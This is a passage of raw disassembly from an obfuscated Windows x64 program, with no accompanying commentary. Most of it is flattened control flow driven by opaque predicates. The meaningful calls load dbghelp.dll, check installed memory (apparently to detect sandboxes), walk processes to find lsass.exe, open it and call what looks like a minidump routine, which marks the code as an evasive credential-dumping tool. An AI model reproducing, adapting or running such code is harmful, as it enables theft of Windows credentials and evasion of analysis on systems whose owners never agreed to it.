mov ebx, 0xdc051bdf
cmovne eax, ebx
test dl, dl
cmovne eax, ebx
test ecx, ecx
mov ecx, eax
cmove ecx, ebx
jmp 0x140005450
cmp ecx, 0x2d6fe522
je 0x140006735
cmp ecx, 0x2d86cd0d
jne 0x14000108d
mov ecx, 0xdf094500
jmp 0x14000108d
cmp ecx, 0xaf963d7b
je 0x140006754
cmp ecx, 0xb02f03c0
jne 0x14000108d
mov ecx, 0xed6e17ab
jmp 0x14000108d
cmp ecx, 0x6e99fef0
je 0x14000676a
cmp ecx, 0x6ea994e8
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x14000b044], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov ecx, 0x3a044c0a
mov eax, 0xf102ecbb
jmp 0x140006728
cmp ecx, 0xe2c5e645
je 0x140006774
cmp ecx, 0xe3b55c85
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xb07b818a
mov eax, 0xf61aac26
jmp 0x140001080
cmp ecx, 0x1d29eb50
je 0x140006792
cmp ecx, 0x1ef54d89
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
mov ecx, 0x7a211a7b
mov ebx, 0x7a4c72df
jmp 0x140006000
cmp ecx, 0xa2404c03
je 0x1400067a7
cmp ecx, 0xa352c675
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x14000b044], 0xa
setge cl
setl al
mov ebx, eax
xor bl, r8b
and cl, r8b
mov edx, ebx
xor dl, 1
or dl, cl
xor dl, bl
xor bl, cl
mov ecx, edx
not cl
or cl, bl
and al, r8b
xor cl, al
test cl, 1
mov ebx, 0x749b6479
mov ecx, 0xa09dbd48
cmovne ebx, ecx
test dl, dl
mov ecx, 0xa09dbd48
cmovne ecx, ebx
test al, al
cmove ecx, ebx
jmp 0x14000108d
cmp ecx, 0x5ddcc848
je 0x1400067b1
cmp ecx, 0x5e66b1d4
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x14000b044], 0xa
setge cl
setl dl
mov ebx, edx
and bl, al
xor dl, al
or cl, al
xor dl, 1
and cl, dl
xor cl, bl
movzx eax, bl
xor bl, 1
or bl, dl
mov edx, ecx
xor dl, 1
movzx edx, dl
test bl, bl
cmovne eax, edx
or cl, bl
mov edx, ecx
not dl
and dl, al
xor cl, al
xor cl, dl
test cl, 1
mov ecx, 0xe5f5fa80
mov eax, 0x9b6fa4b0
cmovne ecx, eax
jmp 0x14000108d
cmp ecx, 0x1b12cd0
je 0x1400067cf
cmp ecx, 0x1cc46a6
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x970462d3
mov eax, 0x8b396739
jmp 0x140001080
cmp ecx, 0x3eb4fec1
je 0x1400067d9
cmp ecx, 0x3f2a073e
jne 0x14000108d
mov ecx, dword [0x14000b040]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete r8b
cmp dword [0x14000b044], 0xa
setl cl
setge bl
and bl, r8b
mov edx, ecx
xor dl, r8b
xor dl, bl
or al, cl
xor al, dl
and cl, r8b
mov edx, ecx
xor dl, al
xor al, 1
mov ebx, ecx
or bl, al
xor dl, 1
and al, cl
or al, dl
mov ecx, ebx
xor cl, al
not al
and al, bl
xor al, cl
test al, 1
mov ecx, 0xe887c27e
mov eax, 0x3eb4fec1
cmovne ecx, eax
test bl, bl
cmovne ecx, eax
jmp 0x14000108d
cmp ecx, 0xc40951a0
je 0x140006803
cmp ecx, 0xc4d541af
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x3a2733e4
mov eax, 0x496d8d38
jmp 0x140001080
cmp ecx, 0x7f3b4302
je 0x140006846
cmp ecx, 0x7ff66a73
jne 0x14000108d
mov ecx, 0x51d76f9f
jmp 0x14000108d
cmp ecx, 0xd1e49c80
jne 0x140006850
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x14000b044], 0xa
setge cl
setl dl
mov ebx, edx
xor bl, al
and dl, al
or cl, al
xor cl, dl
mov ecx, 0xf3a8867
mov eax, 0xa2404c03
cmovne ecx, eax
test bl, bl
cmovne ecx, eax
mov eax, 0xf3a8867
cmovne ecx, eax
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x14000b044], 0xa
setge dl
setl bl
mov eax, ebx
xor al, r8b
or dl, r8b
and dl, al
and cl, bl
xor cl, dl
mov edx, eax
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
or cl, al
or bl, r8b
xor cl, bl
or bl, dl
and bl, cl
xor bl, al
test bl, 1
mov edx, 0xe842222f
mov ebx, 0x48af08ef
cmovne edx, ebx
test cl, 1
cmovne edx, ebx
test al, al
cmovne edx, ebx
mov ecx, edx
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x61b133c8
mov eax, 0xe26c2333
cmovne ecx, eax
cmp dword [0x14000b044], 0xa
mov eax, 0x61b133c8
cmovl ecx, eax
jmp 0x14000108d
cmp byte [rbp + 0x3a], 0
mov ecx, 0x93003f82
mov eax, 0x1d29eb50
cmovne ecx, eax
jmp 0x14000108d
mov ecx, 0x318fd24
jmp 0x14000108d
mov ecx, 0xbfbd778f
jmp 0x14000108d
mov ecx, 0xfab675d3
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x56b17540
mov eax, 0x8f900ad
jmp 0x140001080
mov ecx, dword [0x14000b040]
mov edi, dword [0x14000b044]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete al
cmp edi, 0xa
setl r8b
xor al, r8b
mov ecx, eax
xor cl, 1
mov ebx, edx
and bl, r8b
or bl, cl
xor bl, al
mov ecx, 0xe8fca16d
mov ebx, 0x5a92ae9d
cmovne ecx, ebx
cmp edi, 0xa
mov ebx, 0xe8fca16d
cmovl ebx, ecx
test edx, edx
mov esi, 0xe8fca16d
cmove ebx, esi
test al, al
cmove ebx, ecx
test edx, edx
mov ecx, ebx
cmove ecx, esi
cmp edi, 0xa
cmovge ecx, ebx
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xa3662511
mov eax, 0x2c998ed1
jmp 0x140001080
sub rsp, 0x20
lea rcx, str.dbghelp.dll
call r15
add rsp, 0x20
mov qword [rbp + 8], rax
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x23abe56
mov eax, 0x828898bf
jmp 0x140001080
mov ecx, 0x9faa39b2
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xd46b41b8
mov eax, 0x6cea6d03
cmovne ecx, eax
cmp dword [0x14000b044], 0xa
mov eax, 0xd46b41b8
cmovl ecx, eax
jmp 0x14000108d
mov ecx, dword [0x14000b040]
mov edi, dword [0x14000b044]
lea esi, [rcx - 1]
imul esi, ecx
test sil, 1
sete r8b
cmp edi, 0xa
setge bl
setl cl
xor cl, r8b
mov eax, ecx
xor al, 1
and bl, r8b
or al, bl
mov edx, ecx
xor dl, al
xor cl, bl
xor al, bl
mov eax, 0x6ea994e8
mov ebx, 0x109486b0
cmovne eax, ebx
test dl, dl
mov edx, 0x6ea994e8
cmove eax, edx
test cl, cl
cmovne eax, edx
test sil, 1
jmp 0x14000544b
mov ecx, 0x6b094de9
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x14000b044], 0xa
setge dl
setl bl
mov eax, ebx
xor al, r8b
and dl, r8b
xor dl, al
or cl, bl
xor cl, dl
or bl, r8b
xor bl, al
test cl, cl
mov ecx, 0x1b12cd0
mov eax, 0x4783734b
cmovne ecx, eax
test bl, bl
mov eax, 0x1b12cd0
cmovne ecx, eax
jmp 0x14000108d
cmp byte [rbp + 0x37], 0
mov ecx, 0x5d156038
mov eax, 0x2d6fe522
cmovne ecx, eax
mov eax, dword [rbp - 0x38]
mov dword [rbp + 4], eax
jmp 0x14000108d
mov ecx, 0x8ff7b4d3
jmp 0x14000108d
mov ecx, 0x61b133c8
jmp 0x14000108d
mov rax, qword [rbp - 0x60]
mov rcx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x28]
mov edx, dword [rbp + 0x1c]
sub rsp, 0x40
movups xmmword [rsp + 0x20], xmm6
mov qword [rsp + 0x30], 0
mov r9d, 2
call rax
add rsp, 0x40
mov ecx, 0x6b1b5402
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
mov ecx, 0x749b6479
mov ebx, 0xea246853
jmp 0x140006000
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x55391df2
mov eax, 0xf345e9c
jmp 0x140001080
mov rax, qword [rbp - 0x28]
cmp rax, 0xffffffffffffffff
sete byte [rbp + 0x35]
mov ecx, 0x5e66b1d4
jmp 0x14000108d
mov ecx, 0xe8aa3a1d
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x959cae33
mov eax, 0x336fb2b3
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x14000b044], 0xa
setge r8b
setl bl
mov edx, ebx
and cl, bl
xor bl, al
and dl, al
and r8b, al
xor cl, bl
xor cl, r8b
or cl, bl
xor cl, dl
mov ecx, 0x8643f1d6
mov eax, 0xacb94b7b
cmovne ecx, eax
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x14000b044], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
mov eax, edx
xor al, cl
mov eax, 0x67d8a8aa
mov ebx, 0x1a0919b2
jmp 0x140004c76
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x269feea2
mov eax, 0x5eb7d7e6
jmp 0x140001080
sub rsp, 0x20
lea rcx, str.dbghelp.dll
call r15
add rsp, 0x20
mov ecx, 0xca39aeb4
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x959cae33
mov eax, 0xe2c5e645
jmp 0x140001080
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
mov rdx, qword [rbp + 0x40]
shr rdx, 0x14
sub rsp, 0x20
lea rcx, [0x14000a223]
call fcn.140006890
add rsp, 0x20
mov rax, qword [rbp + 0x10]
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x8957b753
mov eax, 0x97956250
jmp 0x140001080
mov ecx, 0xddce6fe1
jmp 0x14000108d
mov ecx, 0x664873fb
jmp 0x14000108d
mov ecx, 0xc53cdab8
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xe1bc9eae
mov eax, 0x964a1361
jmp 0x140001080
mov ecx, 0x9235f3cd
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x14000b044], 0xa
setl cl
mov ebx, ecx
xor bl, al
and cl, al
mov eax, ecx
xor al, 1
mov edx, ebx
or dl, al
xor al, bl
xor al, dl
xor dl, 1
or cl, al
or al, dl
mov ebx, eax
xor bl, cl
xor bl, 1
xor cl, 1
and cl, dl
or cl, bl
mov edx, eax
xor dl, cl
not cl
and cl, al
xor cl, dl
test cl, 1
mov ecx, 0x448d31d1
mov eax, 0x1b99fcb6
cmovne ecx, eax
jmp 0x14000108d
mov ecx, 0xa7979b4d
jmp 0x14000108d
mov rax, qword [rbp + 0x20]
add rax, 0x2c
mov qword [rbp - 0x80], rax
mov ecx, 0x2e832541
jmp 0x14000108d
mov ecx, 0x7ae9ab40
jmp 0x14000108d
mov eax, dword [0x14000b040]
mov r8d, dword [0x14000b044]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp r8d, 0xa
setl bl
xor bl, al
mov esi, 0x269feea2
mov r9d, 0x2369dee
cmovne esi, r9d
cmp r8d, 0xa
mov edi, esi
mov ecx, 0x269feea2
cmovl edi, ecx
setge cl
test dl, 1
cmove edi, esi
and cl, al
xor cl, bl
cmovne edi, r9d
test dl, 1
mov ecx, edi
cmove ecx, r9d
cmp r8d, 0xa
cmovge ecx, edi
jmp 0x14000108d
mov rax, qword [rbp - 0x10]
mov ecx, 0xfb4db1ed
jmp 0x14000108d
mov eax, 0x240
call fcn.1400089f0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x20], rax
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x76c0261c
mov eax, 0xc9d8b62
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x109486b0
mov eax, 0x2225cf52
jmp 0x140001080
mov ecx, 0x4f0a0bc1
jmp 0x14000108d
mov ecx, 0x1380b6a
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xf9042bcb
mov eax, 0xee87d46e
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xba35a31c
mov eax, 0x18cecb75
jmp 0x140001080
mov ecx, 0x19229a09
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x61ba40dc
mov eax, 0x3293bd8b
jmp 0x140001080
mov ecx, 0xc79004be
jmp 0x14000108d
mov ecx, 0x11f7c1f6
jmp 0x14000108d
mov ecx, dword [0x14000b040]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete r8b
cmp dword [0x14000b044], 0xa
setge dl
setl cl
mov r9d, ecx
and al, cl
and cl, r8b
xor r9b, r8b
mov ebx, r9d
xor bl, 1
or al, bl
xor al, r9b
mov ebx, eax
not bl
and dl, r8b
or dl, bl
xor dl, cl
test dl, 1
mov edx, 0x2a5cd09b
mov ebx, 0xc826504c
cmovne edx, ebx
test al, al
mov eax, 0xc826504c
cmovne eax, edx
test cl, cl
cmove eax, edx
mov ecx, eax
jmp 0x14000108d
mov ecx, 0xe3b55c85
jmp 0x14000108d
mov ecx, 0x754230c4
jmp 0x14000108d
sub rsp, 0x20
lea rcx, str.kernel32.dll
call r15
add rsp, 0x20
mov ecx, 0xa835e576
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xb07b818a
mov eax, 0xe3b55c85
jmp 0x140001080
mov ecx, dword [0x14000b040]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete cl
cmp dword [0x14000b044], 0xa
setge r8b
setl dl
mov ebx, edx
or al, dl
xor dl, cl
or bl, cl
and r8b, cl
and al, dl
xor al, r8b
xor al, dl
or al, dl
mov ecx, ebx
xor cl, al
xor bl, 1
or bl, al
and bl, cl
xor cl, 1
or bl, cl
mov eax, ebx
not al
and al, dl
xor bl, dl
xor bl, al
test bl, 1
mov ecx, 0x2f4ced5e
mov eax, 0x9fd7dda6
cmovne ecx, eax
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x6c95bdea
mov eax, 0x278a2509
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xb3f65a8f
mov eax, 0xc6df0ea3
jmp 0x140001080
mov eax, dword [0x14000b040]
mov ecx, dword [0x14000b044]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov eax, 0xb3f65a8f
mov ebx, 0xa01c71c
cmovne eax, ebx
test dl, 1
cmove eax, ebx
cmp ecx, 0xa
cmovl eax, ebx
mov ecx, eax
jmp 0x14000108d
mov ecx, 0xbbe10bfe
jmp 0x14000108d
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
mov rdx, qword [rbp + 0x40]
shr rdx, 0x14
sub rsp, 0x20
lea rcx, [0x14000a223]
call fcn.140006890
add rsp, 0x20
mov rax, qword [rbp + 0x10]
mov ecx, 0x820426c6
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x9d98529d
mov eax, 0x90225df8
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x14000b044], 0xa
setge dl
setl bl
mov eax, ebx
and al, r8b
and cl, bl
xor cl, al
xor bl, r8b
or dl, r8b
and dl, bl
xor dl, cl
mov ecx, 0xeafb16aa
mov eax, 0xe21705f4
cmovne ecx, eax
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x7ae9ab40
mov eax, 0x60bcc61d
cmovne ecx, eax
cmp dword [0x14000b044], 0xa
mov eax, 0x7ae9ab40
cmovl ecx, eax
jmp 0x14000108d
mov ecx, 0x45afad2e
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x14000b044], 0xa
setge dl
setl bl
mov eax, ebx
and al, r8b
or cl, bl
xor bl, r8b
and bl, cl
and dl, r8b
xor dl, al
xor dl, bl
mov ecx, 0x76c8b1e2
mov eax, 0x10040eaf
cmovne ecx, eax
jmp 0x14000108d
sub rsp, 0x20
lea rcx, str.___I_could_make_it_much_harder_by_the_way____n
call fcn.140006890
add rsp, 0x20
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x1c91d157
mov eax, 0xcb06ebcb
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xca77043
mov eax, 0x78e2f563
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x8d16c66d
mov eax, 0x3f7e4fb4
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x62037dbd
mov eax, 0x83fc6ef2
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x14000b044], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
mov eax, edx
xor al, cl
mov eax, 0xd55e95ac
mov ebx, 0xfb4db1ed
cmovne eax, ebx
test dl, dl
cmovne eax, ebx
test cl, cl
cmovne eax, ebx
mov ecx, eax
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x14000b044], 0xa
setge cl
setl al
mov ebx, eax
xor bl, r8b
and cl, r8b
mov edx, ebx
xor dl, 1
or dl, cl
xor dl, bl
xor bl, cl
xor dl, 1
or dl, bl
and al, r8b
mov ebx, eax
xor bl, dl
or dl, al
mov r8d, ebx
xor r8b, dl
test al, al
mov ecx, 0x56074aaa
mov eax, 0x2cd2b2b5
cmovne ecx, eax
test dl, 1
mov edx, 0x56074aaa
cmovne ecx, edx
test r8b, 1
cmove ecx, eax
test bl, 1
cmovne ecx, edx
jmp 0x14000108d
mov rax, qword [rbp + 0x10]
mov qword [rax], 0
mov rcx, qword [rbp + 0x28]
sub rsp, 0x20
lea rdx, str.GetPhysicallyInstalledSystemMemory
call r13
add rsp, 0x20
mov rcx, qword [rbp + 0x10]
sub rsp, 0x20
call rax
add rsp, 0x20
test eax, eax
setne byte [rbp + 0x3a]
mov ecx, 0x44dbff8d
jmp 0x14000108d
mov ecx, 0x3d43278a
jmp 0x14000108d
mov rcx, qword [rbp - 0x30]
sub rsp, 0x20
lea rdx, str.lsass.exe
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
add rsp, 0x20
test eax, eax
setne byte [rbp + 0x37]
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xfea75da8
mov eax, 0x42320678
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x66b3638d
mov eax, 0xbbe10bfe
jmp 0x140001080
mov rcx, qword [rbp + 0x28]
sub rsp, 0x20
lea rdx, str.OpenProcess
call r13
add rsp, 0x20
mov qword [rbp - 0x58], rax
mov rcx, qword [rbp + 0x28]
sub rsp, 0x20
lea rdx, [0x14000a1a0]
call r13
add rsp, 0x20
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x14000b044], 0xa
setge dl
setl bl
and cl, bl
mov r9d, ebx
xor r9b, r8b
mov eax, r9d
xor al, 1
and dl, r8b
or dl, al
xor dl, r9b
mov eax, ecx
xor al, dl
not dl
and dl, cl
xor dl, al
mov eax, ebx
or al, r8b
xor al, r9b
and bl, r8b
mov ecx, ebx
xor cl, al
test dl, 1
mov edi, 0x113c1f8f
mov edx, 0xadbd1eb8
cmovne edi, edx
test bl, bl
mov edx, edi
mov ebx, 0x113c1f8f
cmovne edx, ebx
test al, al
cmove edx, edi
test cl, cl
cmovne edx, edi
mov ecx, edx
jmp 0x14000108d
mov ecx, 0x38bb8ff5
jmp 0x14000108d
mov ecx, 0x9b8021bb
jmp 0x14000108d
mov rax, qword [rbp - 0x18]
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x378a391
mov eax, 0x3fb2fce6
jmp 0x140001080
mov rax, qword [rbp + 0x10]
mov ecx, 0xc6b7ca5b
jmp 0x14000108d
mov ecx, 0x3f880029
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xfaf6d202
mov eax, 0xc39b9c70
jmp 0x140001080
sub rsp, 0x20
lea rcx, str.kernel32.dll
call r15
add rsp, 0x20
mov ecx, dword [0x14000b040]
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
sete cl
cmp dword [0x14000b044], 0xa
setge dl
setl r8b
mov r9d, r8d
or sil, r8b
and r8b, cl
xor r9b, cl
and dl, cl
xor dl, r9b
and r9b, sil
mov ebx, esi
or bl, dl
mov r10d, esi
xor r10b, dl
xor dl, 1
and dl, sil
xor dl, r10b
xor bl, r9b
and r9b, dl
xor bl, dl
mov edx, r9d
xor dl, bl
xor dl, 1
xor bl, 1
and bl, r9b
or bl, dl
mov r9d, r8d
xor r9b, bl
mov edx, r8d
not dl
or dl, bl
and dl, r9b
mov ecx, ebx
not cl
and cl, r8b
xor cl, dl
test cl, 1
mov edx, 0x66b3638d
mov edi, 0xba8b9bc0
cmovne edx, edi
test r9b, 1
cmovne edx, edi
test bl, 1
mov ecx, edx
cmovne ecx, edi
mov qword [rbp + 0x28], rax
test r8b, r8b
cmove ecx, edx
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x14000b044], 0xa
setge cl
setl dl
mov ebx, edx
xor bl, r8b
mov eax, ebx
xor al, 1
or cl, r8b
or dl, r8b
and dl, cl
and dl, al
xor dl, bl
mov ecx, 0x6ec902c3
mov eax, 0xa835e576
cmovne ecx, eax
jmp 0x14000108d
mov ecx, 0xd364fecc
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
mov ecx, 0x16daccde
mov ebx, 0x599c8b0e
jmp 0x140006000
mov rax, qword gs:[0x60]
mov ecx, 0xed1653f5
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x14000b044], 0xa
setge cl
setl bl
mov edx, ebx
xor dl, r8b
mov eax, r8d
or al, cl
and al, dl
and cl, r8b
xor cl, dl
or cl, al
and bl, r8b
xor bl, cl
mov ecx, 0xa899747b
mov eax, 0x1ab6ea9
cmovne ecx, eax
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x14000b044], 0xa
setge dl
setl bl
and cl, bl
xor cl, bl
and bl, al
xor cl, al
or dl, al
xor dl, cl
mov eax, ebx
xor al, dl
or al, dl
mov ecx, ebx
xor cl, al
test bl, bl
mov edx, 0xcabff6b5
mov ebx, 0x2b487530
cmovne edx, ebx
test al, al
mov eax, 0xcabff6b5
cmovne edx, eax
test cl, 1
cmove edx, ebx
mov ecx, edx
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r9b
cmp dword [0x14000b044], 0xa
setl r8b
setge r10b
mov eax, r9d
and al, r10b
mov ebx, r8d
xor bl, r9b
or r10b, r9b
mov ecx, ebx
and cl, r10b
xor bl, cl
xor bl, 1
mov edx, eax
xor dl, bl
xor al, 1
or al, bl
and al, dl
or r8b, r9b
xor cl, r10b
and cl, r8b
mov edx, eax
not dl
and dl, cl
xor cl, al
xor cl, dl
test cl, 1
mov ecx, 0xd161f75c
mov eax, 0xd496ecb4
cmovne ecx, eax
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xa45db5b7
mov eax, 0x9faa39b2
jmp 0x140001080
mov ecx, 0x47a9853
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x14000b044], 0xa
setge dl
setl al
and cl, al
mov ebx, eax
xor bl, r8b
xor cl, bl
and dl, r8b
xor dl, bl
or dl, cl
or dl, bl
and al, r8b
xor al, dl
mov ecx, 0xa72e9f8b
mov eax, 0xadc64991
cmovne ecx, eax
jmp 0x14000108d
cmp byte [rbp + 0x3d], 0
mov ecx, 0x88956fe5
mov eax, 0xcdfd57ed
cmovne ecx, eax
jmp 0x14000108d
mov eax, 0x10
call fcn.1400089f0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x10], rax
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x3c73eeef
mov eax, 0xe29ea776
jmp 0x140001080
mov ecx, 0x48af08ef
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x14000b044], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov ecx, 0xf94b44eb
mov eax, 0x7f3b4302
jmp 0x140006728
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x7cc39b9d
mov eax, 0x7dbbd5d7
jmp 0x140001080
mov rcx, qword [rbp - 0x30]
sub rsp, 0x20
lea rdx, str.lsass.exe
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
add rsp, 0x20
mov ecx, 0x897f6088
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x82130580
mov eax, 0xddc02408
jmp 0x140001080
mov ecx, 0x3f2a073e
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x37a85428
mov eax, 0x5ad56fd6
cmovne ecx, eax
cmp dword [0x14000b044], 0xa
mov eax, 0x37a85428
cmovl ecx, eax
jmp 0x14000108d
mov ecx, 0x79b5dc3
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x76c8b1e2
